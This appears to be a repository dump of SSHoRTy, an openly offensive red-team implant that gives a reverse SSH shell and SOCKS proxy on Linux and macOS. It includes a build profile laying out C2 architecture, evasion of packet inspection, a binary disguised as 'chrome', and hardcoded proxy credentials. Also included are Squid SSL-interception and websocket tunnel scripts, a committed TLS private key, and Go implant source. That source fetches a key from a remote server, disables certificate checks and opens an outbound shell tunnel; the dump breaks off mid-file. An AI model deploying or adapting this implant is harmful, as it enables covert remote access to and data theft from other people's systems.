[
  {
    "path": ".gitignore",
    "content": "out/\n.ssh/\n.idea/\naux/\n"
  },
  {
    "path": "LICENSE.md",
    "content": "The MIT License (MIT)\n---\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "\n\n<a href=\"https://www.ibm.com/security/services/offensive-security-services\"><img src=\"https://github.com/dsnezhkov/SSHoRTy/wiki/images/logo.png\" width=\"30%\" align=\"left\"></a>\n\n## What is SSHoRTy?\n\nA progressive, customizable standalone reverse SSH shell tunnel and SOCKS proxy implant for Linux and MacOS systems that tries hard to get a Red Team operator from :large_blue_circle: to :red_circle:, often with a :smile: and without :cold_sweat:\n\n---\nFor detailed guide please see [Wiki](https://github.com/dsnezhkov/SSHoRTy/wiki)\n\n\n"
  },
  {
    "path": "conf/build.profile",
    "content": "\n#####################################################################################################\n#\n#       SSHoRTTy: Linux (future Mac) SSH real time shell implant\n#           - Build custom versions for every environment\n#           - Achieve full shell on internal host over reverse SSH tunnels.\n#             readline, history, terminal UI, scp, sftp, exec over the same chanel\n#           - SOCKS support out of the box\n#             Future:  X forward, direct local and remote port tunnels.\n#           - Armorized egress from corporate environment over websockets\n#           - Proxy awareness (explicit and from environment) and ability to have credentials support\n#           - Future: HTTP/2 tunnels\n#\n#           Future: Ability to specify and control commands run in restricted shells by junior RTOs.\n#\n\n\n####################### BUILD CONFIGURATION #########################################################\n#           === Regular SSH Tunnel ===\n#\n# Goals:\n#       - Do not use local SSH clients, drop your own. Avoids logging\n#       - Cannot task employees to run convoluted SSH commands for us. One binary launch.\n#       - Default SOCKS ports for convenience of the Red team operator.\n#       - Achieves distributed nature of the connectivity and helps avoid attribution\n#\n# [Organization]  ----- |Internet| ------ [Attacker C2]\n#\n#      (Dropper)  ------ Call back ------> SSH Server -------------------|\n#                                                                        |  Attacker SSH shell client\n# 1. Internal Host <==== SSH Client <= Reverse Shell ==== SSH Server ----|          (rendezvous)\n#                                                                        |  Attacker Browser+SOCKS\n# 2. Internal Hosts N <==== SSH Client <= Reverse SOCKS ==== SSH Server -|\n#    Internal Hosts N+1\n#\n#\n#\n#           === Websocket Armorized SSH Tunnel ===\n#\n# Goals:\n#       - Hide from egress deep packet inspection catching SSH traffic\n#       - Allow mimicry of a legitimate websocket traffic\n#       - Work with a potential outbound proxy, support authentication\n#       - Egress on port 443\n#\n# How it fits in the overall design:\n#\n#\n# [Organization]  ------------------------|Internet| -- [Attacker C2]\n#\n# (Dropper)  -----> <company egress proxy> ----------> Red Websocket proxy\n#                                                   | --> TCP tunnel --> Red SSH Server\n#                                                                         |--> rendezvous SOCKS ports\n#                                                                                   ^\n#                                                            Private SSH for Red ___|\n#                                                                        ^\n#                                        Red Team oper __________________|\n#\n#\n\n######################## CONFIGURATION ####################################\n\n##  SSH SSHServer (host)\n# Proper publicly visible SSH host to connect/redirect to\n# Please note: without armorized tunnels this is the only option to reach SSH server\n# When using armorized tunnels like websockify over WSS:// you may have more exit options\n# For example, if the WSS:// exit host is multihomed you could connect to the second network's SSH server\n# SSHServerHost=10.16.0.5\n# Or, you can even listen SSH on the localhost only if directly terminating agents on the WSS:// exit host\n# This affords no exposure of SSH port to the wild at all.\n# SSHServerHost=167.99.88.24\nSSHServerHost=127.0.0.1\n\n# SSH port the Red server or a redirect listens on for agents on the exit node\nSSHServerPort=222\n\n# OS account with the private key the implant has to connect to the SSH server with\n# see gen_ssh_user.sh\n# TODO: Randomize the user\n\nSSHServerUser=4fa48c653682c3b04add14f434a3114\n\n# Implant ID\nImplantID=${SSHServerUser}\n\n## Implant SSH protected B64 wrapped PK for distribution and embedding\n# Option A: Local encrypted key wrapped in Base64 which gets embedded into the implant\n# If file is embedded no remote SSH key fetch is made from the hosting server\nSSHServerUserKeyFile=\"./out/${ImplantID}/${ImplantID}\"\n# !! SSHServerUserKey= < contents of ${SSHServerUserKeyFile} > Filled in at build time\n\n# Option B: if the key needs to be pulled remotely\n# The agent pulls the protected key and decrypts a key with a password.\n# This is not SSH PK encryption, but a SSHORTY's \"on the wire\" protection scheme.\n# Why not a direct pass-phrase encrypted SSH PK? Because there are a ton of SSH key file formats.\n# For now we want to deal with a straight RSA 4096 keys, without relying on OpenSSH format quirks.\n# tool: keygen.go\nSSHServerUserKeyUrl=\"http://127.0.0.1:9000/${ImplantID}.bpk\"\n\n# Implant SSH protection password (wire, in-code storage safety)\n# tool: keygen.go\nSSHServerUserKeyPassphrase=$( dd if=/dev/urandom bs=1024 count=1 2>/dev/null | shasum | cut -c 1-31  )\nSSHServerUserKeyBits=4096\n\n# Channel IP for reverse SSH tunnel (addr)\n# After the initial SSH session is established\n# listen on SSH and SOCKS ports on this address for reverse tunnels\nSSHRemoteCmdHost=127.0.0.1\n\n# Channel IP for reverse SSH tunnel (port)\nSSHRemoteCmdPort=2022\n\n# Channel IP for reverse tunnel SOCKS (addr)\nSSHRemoteSocksHost=127.0.0.1\n\n# Channel IP for reverse tunnel SOCKS (port)\nSSHRemoteSocksPort=1080\n\n# Operator Implant logon (user)\n# Reverse tunnels' user on Red side\n# This is used for an additional authentication to protect reverse tunnels from the RT insiders\nSSHRemoteCmdUser=operator\n\n# Operator Implant logon (password)\n# Randomized on every build.\n# Ex: SSHRemoteCmdPwd=da39a3ee5e6b4b0d3255bfef9560189\nSSHRemoteCmdPwd=$( dd if=/dev/urandom bs=1024 count=1 2>/dev/null | shasum | cut -c 1-31  )\n\n# The implant introspects SHELL variable from the destination environment,\n# If it is undefined it falls back to this:\nSSHShell=\"/bin/sh\"\n\n# `exec` TERM value, vt100, xterm, etc.\nSSHEnvTerm=\"xterm\"\n\n\n#--------------- :: Transport :: -----------------#\n# How do we get to the SSH tunnel.  WS/WSS and Proxies\n\n# Intercepting Proxy (Burp)\n# export http_proxy=\"http://127.0.0.1:8088\"\nHTTPProxyFromEnvironment=\"no\"\n\n# Egress proxy\n# TODO: HTTP/S proxy\nHTTPProxy=\"http://167.99.88.24:8080\" # Squid\n\n# Egress proxy auth (plain)\n# TODO: research NTLM if needed  https://github.com/vadimi/go-http-ntlm\nHTTPProxyAuthUser=\"companyuser\"\nHTTPProxyAuthPass=\"Drag0n\"\n\n\n#---------- :: Armorized Carrier :: ---------------#\n# HTTP endpoint:\nHTTPEndpoint=\"http://167.99.88.24:8082\"\n\n# WS/WSS endpoint:\nWSEndpoint=\"wss://167.99.88.24:8082/stream\"\n\n\n#----------- :: Implant Operating Context :: ---#\n# Implant bin/lib name\nDropperName=\"chrome\"\n\n# Implant build type: a library or binary`\n# options : exe, c-shared, default\n# C-shared is good for LD_PRELOAD\nDropperBuildType=\"exe\"\n\n# Supported OS:\n#  darwin\n#  linux\nDropperOS=\"darwin\"\n\n# Supported ARCH:\n#  amd64\n#  i386\nDropperArch=\"amd64\"\n\n# Background and detach from console.\n# Go solution while works is not very elegant out of the box\n# You can use python deamonizer + setpoctitile to get more freedom,\n# or ZombieAntFarm fetcher.\n# Turn On: \"yes\"\nDaemonize=\"no\"\n\n# Daemon: Log progress messages to file (local debug)\n# We do not want to log in production, but we want to debug to a log file locally\nLogFile=\"/tmp/${DropperName}.log\"\n\n# Daemon: Track the implant PID\n# We do not want to save pid in production, but we want to do it locally\nPIDFile=\"/tmp/${DropperName}.pid\""
  },
  {
    "path": "infra/gencert.sh",
    "content": "#!/usr/bin/env bash\n\nDBASE=\"/opt/sshorty\"\nDKEYS=\"${DBASE}/keys\"\n\necho \"[+] Generating SSL Keys\"\nopenssl req -x509 -nodes -newkey rsa:2048 \\\n        -keyout ${DKEYS}/server.key \\\n        -out ${DKEYS}/server.crt -days 365  \\\n        -subj \"/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=globalprotect.com\"\n\n"
  },
  {
    "path": "infra/squid.conf",
    "content": "#\n# Recommended minimum configuration:\n#\n\nauth_param basic program /usr/lib/squid3/basic_ncsa_auth /etc/squid/passwords\nauth_param basic casesensitive off\nauth_param basic credentialsttl 5 minutes\n\nacl user_auth proxy_auth REQUIRED\n\nhttp_access allow user_auth\n\n\n# Example rule allowing access from your local networks.\n# Adapt to list your (internal) IP networks from where browsing\n# should be allowed\nacl localnet src 98.193.47.242/32\nacl localnet src fc00::/7       # RFC 4193 local private network range\nacl localnet src fe80::/10      # RFC 4291 link-local (directly plugged) machines\nacl localnet src 127.0.0.1\n# acl localnet src all\n\nacl SSL_ports port 443\nacl Safe_ports port 80      # http\nacl Safe_ports port 443     # https\nacl CONNECT method CONNECT\n\nsslproxy_cert_error allow all\n#disable this in production, it is dangerous but useful for testing\nsslproxy_flags DONT_VERIFY_PEER\n#\n# Recommended minimum Access Permission configuration:\n#\n# Deny requests to certain unsafe ports\nhttp_access deny !Safe_ports\n\n# Deny CONNECT to other than secure SSL ports\nhttp_access deny CONNECT !SSL_ports\n\n# Only allow cachemgr access from localhost\nhttp_access allow localhost manager\nhttp_access deny manager\n\n# We strongly recommend the following be uncommented to protect innocent\n# web applications running on the proxy server who think the only\n# one who can access services on \"localhost\" is a local user\nhttp_access deny to_localhost\n\n#\n# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS\n#\n\n# Example rule allowing access from your local networks.\n# Adapt localnet in the ACL section to list your (internal) IP networks\n# from where browsing should be allowed\nhttp_access allow localnet\nhttp_access allow localhost\n\n# And finally deny all other access to this proxy\nhttp_access deny all\n\n# Uncomment and adjust the following to add a disk cache directory.\n#cache_dir ufs /var/cache/squid 100 16 256\n\n# Leave coredumps in the first cache dir\ncoredump_dir /var/cache/squid\nforwarded_for delete\n\nhttp_port 167.99.88.24:8080\n\n#### SSL\n\n## Use the below to avoid proxy-chaining\nalways_direct allow all\n## Always complete the server-side handshake before client-side (recommended)\nssl_bump bump all\n## Prior to squid 3.5 it was done like this:\n#ssl_bump server-first all\n## Allow server side certificate errors such as untrusted certificates, otherwise the connection is closed for such errors\nsslproxy_cert_error allow all\n## Or maybe deny all server side certificate errors according to your company policy\n#sslproxy_cert_error deny all\n## Accept certificates that fail verification (should only be needed if using 'sslproxy_cert_error allow all')\nsslproxy_flags DONT_VERIFY_PEER\n\n## Modify the http_port directive to perform SSL interception\n## Ensure to point to the cert/key created earlier\n## Disable SSLv2 because it isn't safe\nhttps_port 167.99.88.24:443 intercept ssl-bump cert=/etc/squid/squid.pem key=/etc/squid/squid.key generate-host-certificates=on options=NO_SSLv2\n\n\n## Disable ssl interception for dropbox.com and hotmail.com (and localhost)\nacl no_ssl_interception dstdomain .google.com\nssl_bump none localhost\nssl_bump none no_ssl_interception\n## Add the rest of your ssl-bump rules below\n## e.g ssl_bump bump all\n## etc\n\n### DNS \ndns_nameservers 1.1.1.1 9.9.9.9\n#\n# Add any of your own refresh_pattern entries above these.\n#\nrefresh_pattern .       0   20% 4320\n"
  },
  {
    "path": "infra/wss2ssh_tun.sh",
    "content": "#!/usr/bin/env bash\n\n# DESTINATION_SSH_ADDR=167.99.88.24\nDESTINATION_SSH_ADDR=127.0.0.1\nDESTINATION_SSH_PORT=222\nWSS_LPORT=8082\n/opt/sshorty/websockify/websockify.py  --ssl-only --log-file=/opt/sshorty/logs/websocksify.log --cert=/opt/sshorty/keys/server.crt --key=/opt/sshorty/keys/server.key ${WSS_LPORT} ${DESTINATION_SSH_ADDR}:${DESTINATION_SSH_PORT}"
  },
  {
    "path": "keys/sslcert.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDajCCAlICCQCia/YFAUv+8TANBgkqhkiG9w0BAQsFADB3MQswCQYDVQQGEwJH\nQjEPMA0GA1UECAwGTG9uZG9uMQ8wDQYDVQQHDAZMb25kb24xGDAWBgNVBAoMD0ds\nb2JhbCBTZWN1cml0eTEWMBQGA1UECwwNSVQgRGVwYXJ0bWVudDEUMBIGA1UEAwwL\nZXhhbXBsZS5jb20wHhcNMTgxMTMwMDA1MzU4WhcNMTkxMTMwMDA1MzU4WjB3MQsw\nCQYDVQQGEwJHQjEPMA0GA1UECAwGTG9uZG9uMQ8wDQYDVQQHDAZMb25kb24xGDAW\nBgNVBAoMD0dsb2JhbCBTZWN1cml0eTEWMBQGA1UECwwNSVQgRGVwYXJ0bWVudDEU\nMBIGA1UEAwwLZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK\nAoIBAQD2B+h4l0BmWIXLK4n9EjXeSbT/Vg3imwDY3RFRsk/0/6QOOVEnMZIT2h63\nRAydOdOKhdJ8MPTv8RLF7K2W+vXnj9JvyoI4cc01RpFvMdNpdJG72nTC+ziaVWGN\n4GmAMeMWJvrw2deihZgGFXbXTlD/FupQ+vO3HAHu0Y3GYgG5jcnEbHmv7dvwhUOd\nElqTSfYYRmqbuBf2HgQf25qNT9YJz5J9jDIDn2Z/lF3Fyms71hJTh75pOqX1X4SD\nzF2ssIW+1/wHHu/lBfbkBZMqP0nYlX3t4035wq7OfZ0gB601YP/Qz3ObJ663xtKF\nl7VXMDaUxkc6OBJtc4760WfFpqCvAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAFxN\nDG3sufb90luchDgiBwlrcgIuE1LPDflKYYBEN22HNtHCZS/woLLPZ3Eh7VEJYos9\nrea0cUWCNuRsmKPuTYmcJu9pT1AC1fw33XB8HgO/ohR/rlqKJVGEyMvaUuTF0+Vu\nHcRccFRvLUnFvfqyIQcoYJ6ywq207QRMyN02mqJXuLmNF57Gifu5cU3bXCqrvkcH\npgq+AvEV7cwV5a+M097Jq3vfkJ5Dp99vE2D2NNIhNkYvt/zcKDcjBwkC7T5qVXSU\np7GgJGqve/s5LO9dcYh7v3aBYhEU/BbJHalEmIbJSv0gIEiW6STjSESO4PpZdNJA\nF82d/IC1zN8f8dM39s4=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "keys/sslkey.pem",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQD2B+h4l0BmWIXL\nK4n9EjXeSbT/Vg3imwDY3RFRsk/0/6QOOVEnMZIT2h63RAydOdOKhdJ8MPTv8RLF\n7K2W+vXnj9JvyoI4cc01RpFvMdNpdJG72nTC+ziaVWGN4GmAMeMWJvrw2deihZgG\nFXbXTlD/FupQ+vO3HAHu0Y3GYgG5jcnEbHmv7dvwhUOdElqTSfYYRmqbuBf2HgQf\n25qNT9YJz5J9jDIDn2Z/lF3Fyms71hJTh75pOqX1X4SDzF2ssIW+1/wHHu/lBfbk\nBZMqP0nYlX3t4035wq7OfZ0gB601YP/Qz3ObJ663xtKFl7VXMDaUxkc6OBJtc476\n0WfFpqCvAgMBAAECggEAbx3tOaGePVsXukYEwV6bI7UIYRXdmY3GGSvm6Y3uHMnk\nr2PlqhzyS7MEkmLSi6QVTYfZI6v8w+2OPAQD9p+LtjS3pzPAEnwbYUdo4d6QDB3Q\nwBYPDAzoaJPNRoWnQHXHiTa7uVG52TYbDgxdqyo83Kjd1QsyTW4B1XmhXYrgGovz\ncZ0EltkXmkrzJHMFuMGJM50WYYJY1qpmVyEd+e89XG8qWdilW8RsKA4Dj2Xutu1Z\neri3qG0eng2V5vXixQglhSiaYQpOq1r/1GRJLhkC7SCPuFGd6Sj4GgG79IdkAZiW\nANs+g5deI8E8eRUywbzReVcFXAO1CERMgTs8kQaSiQKBgQD99RTOfCADkSaTEU/A\nbHJPxYNOK3plPbEDVnSCirGZfAzTgsFnWGDDGdzzfA1bGpBt3BVCAV063qq6Y6hN\n8M9ybrsnU0MMfNjHB45DXZdIDeQBKuLizRpg3e3pLDU+l4agXsdEcO6SZjSpHtVX\nxOf6vuziWUgcSSOqlI+l4Q1LawKBgQD4AoFuyDJb+uqS5w6U5SSOc29zLqHrRpYc\nhygRa1ZuM5USpAjfO4c4iRkKA1ubE5AbN0dtodCTAr4he9jwaHyhaZL0FYIY9s8e\nlfwesjKQFTv78ggbBtHBrhZFquHq78VKSUsW2HT/iuSTVLP+C176hpyp7na2KnVn\nlP1Ep260zQKBgDTwyFubKJlVwvLZowR8FwBmLk83ZRaB28rUVQl5nDhg0dOt6F+A\n3vsNAzCG5cneKcmdHZla63KARJsCd214C+bRCpbSFqIdzJsBCjkk44qTyrorlIyv\nMRaMbTI0kwzvTZNU7rlnyXQfdk7jLJpVY/6zmnI9JnkvDg5bVe7AkaLtAoGAVH7G\nCjA6uAusj5AY77GB2uaJOfzRPY825VFG3Whsce8xAsDQJP3q+9/5n+e09gicOCmF\nNFzE6tEsZcwEBSQUEgod/vq08DxmJE2FMBAWGfCiFxxGlq6kGBBvlhy6C4jU9pIx\n+v6UHdv8NBXPnOXS3heumFaeK0Ib7cZc418H4KECgYBsEQK9MGPjekIA2Sp7gWpY\naP6WRepvdXhHNDcJFdhKFib1N7scheyVkRvqi1mHcYvV+rP/2OHzzmILSucFXIvw\n87wwnp23ry6zGV76vtfHtxizoYIfrt6+sSmAt/fPUPfyLU2nzQ0VhogZyTx+iWtR\n5EaegxtQ7F86UaMVzRdlbg==\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "src/keymgmt.go",
    "content": "package main\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n)\n\n// Decrypts an AES blob by applying a hash of a passphrase,\n// Returns decrypted array of bytes\nfunc KeyDecrypt(data []byte, passphrase string) []byte {\n\tkey := []byte(KeyCreateHash(passphrase))\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tnonceSize := gcm.NonceSize()\n\tnonce, ciphertext := data[:nonceSize], data[nonceSize:]\n\tplaintext, err := gcm.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\treturn plaintext\n}\n\n// Derives a key from a passphrase string\nfunc KeyCreateHash(key string) string {\n\thasher := md5.New()\n\thasher.Write([]byte(key))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}\n"
  },
  {
    "path": "src/pty.go",
    "content": "package main\n\nimport (\n\t\"encoding/binary\"\n\t\"log\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n// parseDims extracts two uint32s from the provided buffer.\nfunc parseDims(b []byte) (uint32, uint32) {\n\tw := binary.BigEndian.Uint32(b)\n\th := binary.BigEndian.Uint32(b[4:])\n\treturn w, h\n}\n\n// Winsize stores the Height and Width of a terminal.\ntype Winsize struct {\n\tHeight uint16\n\tWidth  uint16\n\tx      uint16 // unused\n\ty      uint16 // unused\n}\n\n// SetWinsize sets the size of the given pty.\nfunc SetWinsize(fd uintptr, w, h uint32) {\n\tlog.Printf(\"Pty: window resize %dx%d\", w, h)\n\tws := &Winsize{Width: uint16(w), Height: uint16(h)}\n\tsyscall.Syscall(\n\t\t\tsyscall.SYS_IOCTL, fd,\n\t\t\tuintptr(syscall.TIOCSWINSZ), uintptr(unsafe.Pointer(ws)))\n}\n"
  },
  {
    "path": "src/rssh.go",
    "content": "/*\n\tSSH implant\n*/\n\npackage main\n\nimport (\n\t\"C\"\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/cookiejar\"\n\t\"net/url\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"strings\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/gorilla/websocket\"\n\t\"golang.org/x/crypto/ssh\"\n)\n\n// For buildmode shared\n// export as `entry`\n\n//export entry\nfunc entry() int {\n\tmain()\n\treturn 0\n}\n\nfunc main() {\n\n\tif len(os.Args) != 2 {\n\t\tfmt.Printf(\"FYI: Use %s [start|stop] but OK... \\n \", os.Args[0])\n\t}\n\n\tif LogFile != \"\" {\n\t\tflog, err := os.OpenFile(LogFile,\n\t\t\tos.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\tdefer flog.Close()\n\n\t\tlog.SetOutput(flog)\n\t}\n\n\tif Daemonize == strings.ToLower(\"yes\") {\n\n\t\tif len(os.Args) == 1 || strings.ToLower(os.Args[1]) == \"start\" {\n\n\t\t\t// check if daemon already running.\n\t\t\tif _, err := os.Stat(PIDFile); err == nil {\n\t\t\t\tlog.Println(\"Implant: Already running or pid file exist.\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\n\t\t\tcmd := exec.Command(os.Args[0], \"run\")\n\t\t\tcmd.Start()\n\t\t\tlog.Printf(\"Implant: Daemon process %s, PID %d\\n\", os.Args[0], cmd.Process.Pid)\n\n\t\t\tsavePID(cmd.Process.Pid)\n\t\t\ttime.Sleep(1)\n\t\t\tos.Exit(0)\n\n\t\t}\n\n\t\tif strings.ToLower(os.Args[1]) == \"run\" {\n\n\t\t\t// Make arrangement to remove PID file upon receiving the SIGTERM from kill command\n\t\t\tch := make(chan os.Signal, 1)\n\t\t\tsignal.Notify(ch, os.Interrupt, os.Kill, syscall.SIGTERM)\n\n\t\t\tgo func() {\n\t\t\t\tsignalType := <-ch\n\t\t\t\tsignal.Stop(ch)\n\t\t\t\tlog.Println(\"Implant: Exit command received. Exiting...\")\n\n\t\t\t\t// this is a good place to flush everything to disk\n\t\t\t\t// before terminating.\n\t\t\t\tlog.Println(\"Implant Received signal type : \", signalType)\n\n\t\t\t\t// remove PID file\n\t\t\t\tos.Remove(PIDFile)\n\t\t\t\tos.Exit(0)\n\n\t\t\t}()\n\n\t\t\tdoit()\n\t\t}\n\n\t\t// upon receiving the stop command\n\t\t// read the Process ID stored in PIDfile\n\t\t// kill the process using the Process ID\n\t\t// and exit. If Process ID does not exist, prompt error and quit\n\n\t\tif strings.ToLower(os.Args[1]) == \"stop\" {\n\t\t\tif _, err := os.Stat(PIDFile); err == nil {\n\t\t\t\tdata, err := ioutil.ReadFile(PIDFile)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Implant: Daemon Not running\")\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t}\n\t\t\t\tProcessID, err := strconv.Atoi(string(data))\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Implant: Unable to read and parse process id found in \", PIDFile)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t}\n\n\t\t\t\tprocess, err := os.FindProcess(ProcessID)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Implant: Unable to find process ID [%v] with error %v \\n\", ProcessID, err)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t}\n\t\t\t\t// remove PID file\n\t\t\t\tos.Remove(PIDFile)\n\n\t\t\t\tlog.Printf(\"Implant: Killing process ID [%v] now.\\n\", ProcessID)\n\t\t\t\t// kill process and exit immediately\n\t\t\t\terr = process.Kill()\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Implant: Unable to kill process ID [%v] with error %v \\n\", ProcessID, err)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t} else {\n\t\t\t\t\tlog.Printf(\"Implant: Killed process ID [%v]\\n\", ProcessID)\n\t\t\t\t\tos.Exit(0)\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tlog.Println(\"Implant: Daemon Not running.\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Printf(\"Implant: Unknown command : %v\\n\", os.Args[1])\n\t\t\tlog.Printf(\"Usage : %s [start|stop]\\n\", os.Args[0])\n\t\t\tos.Exit(1)\n\t\t}\n\t} else {\n\t\tdoit()\n\t}\n}\n\n// getSSHKeyHTTP fetches SSH private key from external server\nfunc getSSHKeyHTTP() ([]byte, error) {\n\n\t// TODO: Implement backoff: https://github.com/jpillora/backoff\n\tresp, err := http.Get(SSHServerUserKeyUrl)\n\tif err != nil {\n\t\tlog.Println(\"Implant: Key Server not accessible or file not found\")\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\teKeyBytesA, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Println(\"Implant: Key Server response not understood\")\n\t\treturn nil, err // TODO: Should not exit, instead try to remediate within backoff or return error\n\t}\n\n\teKeyBytes, err := b64ToBytes(string(eKeyBytesA[:]))\n\tif err != nil {\n\t\tlog.Println(\"Implant: Base64 key decode error:\", err)\n\t\treturn nil, err\n\t}\n\treturn eKeyBytes, nil\n}\n\nfunc b64ToBytes(b64 string) ([]byte, error) {\n\t// Local unwrap\n\teKeyBytes, err := base64.StdEncoding.DecodeString(b64)\n\tif err != nil {\n\t\tlog.Println(\"Implant: Base64 key decode error:\", err)\n\t\treturn nil, err\n\t}\n\treturn eKeyBytes, nil\n}\n\nfunc doit() {\n\n\tvar (\n\t\teKeyBytes []byte\n\t\terr       error\n\t\thttpProxyURL *url.URL\n\t)\n\n\truntime.GOMAXPROCS(runtime.NumCPU())\n\n\tif SSHServerUserKey != \"\" {\n\t\teKeyBytes, err = b64ToBytes(SSHServerUserKey)\n\t} else {\n\t\t// Remote fetch\n\t\teKeyBytes, err = getSSHKeyHTTP()\n\t\tif err != nil {\n\t\t\tlog.Println(\"Implant: Unable to proceed as SSH key not fetched\")\n\t\t}\n\t}\n\t// Various SSH servers have different formats for SSH keys. They also change at will.\n\t// To avoid variations in (armored) SSH key, we generate our own pure RSA key irrespective of the\n\t// destination SSH server, with a passphrase. This is a passphrase to unwrap the key.\n\tkey := KeyDecrypt(eKeyBytes, SSHServerUserKeyPassphrase)\n\n\tsigner, err := ssh.ParsePrivateKey(key)\n\tif err != nil {\n\t\tlog.Fatalf(\"Implant: Unable to parse private key: %v\", err)\n\t}\n\n\t// Setup authentication with the private key\n\tsshConfig := &ssh.ClientConfig{\n\t\t// SSH connection username\n\t\tUser: SSHServerUser,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\n\t\t// TODO: Improve with option to validating a static Host key\n\t\t// HostKeyCallback: ssh.FixedHostKey(hostKey),\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\n\t// Client side:\n\t// <-> Likely where websocket base network is plugged in\n\n\t// TODO: improve by giving option to validate instead of InsecureSkipVerify\n\ttlsClient := tls.Config{InsecureSkipVerify: true}\n\td := websocket.Dialer{\n\t\t//ReadBufferSize:  1024,\n\t\t//WriteBufferSize: 1024,\n\t\tHandshakeTimeout: 45 * time.Second,\n\t\tSubprotocols:     []string{},\n\t\tTLSClientConfig:  &tlsClient,\n\t}\n\t// Dialer options. Experimental, set by flag\n\t// TODO: config variable\n\td.EnableCompression = true\n\n\n\t// TODO: Introduce proxy options:\n\t// build the websocket dialer with proxy information like credentials\n\n\t// q. Use known HTTP proxy outbound\n\tif HTTPProxy != \"\" {\n\n\t\t// Proxy specifies a function to return a proxy for a given\n\t\t// Request. If the function returns a non-nil error, the\n\t\t// request is aborted with the provided error.\n\t\t// If Proxy is nil or returns a nil *URL, no proxy is used.\n\t\td.Proxy = func(*http.Request) (*url.URL, error) {\n\n\t\t\thttpProxyURL, err = url.Parse(HTTPProxy)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tif HTTPProxyAuthUser != \"\" && HTTPProxyAuthPass != \"\" {\n\t\t\t\thttpProxyURL.User = url.UserPassword(HTTPProxyAuthUser, HTTPProxyAuthPass)\n\t\t\t}\n\t\t\treturn httpProxyURL, nil\n\t\t}\n\t\tlog.Println(\"HTTP:WS: Explicit proxy set\")\n\t}\n\n\t// b. Get proxy from environment\n\tif HTTPProxyFromEnvironment == strings.ToLower(\"yes\") {\n\t\td.Proxy = http.ProxyFromEnvironment\n\t\tlog.Println(\"HTTP:WS: Environment proxy set\")\n\t}\n\n\t/* HTTP endpoint */\n\t// TODO: Improve logic to differentiate WSS/WS\n\thttpEndpoint, err := url.Parse(HTTPEndpoint)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Evasion by initial HTTP Traffic flexibility. Profiles.\n\t// TODO: Refactor HTTP Evasion\n\t// cookies\n\tjar, _ := cookiejar.New(nil)\n\td.Jar = jar\n\tcookies := []*http.Cookie{{Name: \"gorilla\", Value: \"ws\", Path: \"/\"}}\n\td.Jar.SetCookies(httpEndpoint, cookies)\n\n\t// Setup wss evasion params\n\t// TODO: Research how this can be used\n\tdata := url.Values{}\n\tdata.Add(\"name\", \"foo\")\n\tdata.Add(\"surname\", \"bar\")\n\t/* End HTTP Endpoint */\n\n\t// Setup Queries (randomize /stream resource)\n\t// TODO: Why data is not seen?\n\twssReqURL := WSEndpoint\n\twssReq, _ := http.NewRequest(\"GET\", wssReqURL, strings.NewReader(data.Encode()))\n\twssReq.Form = 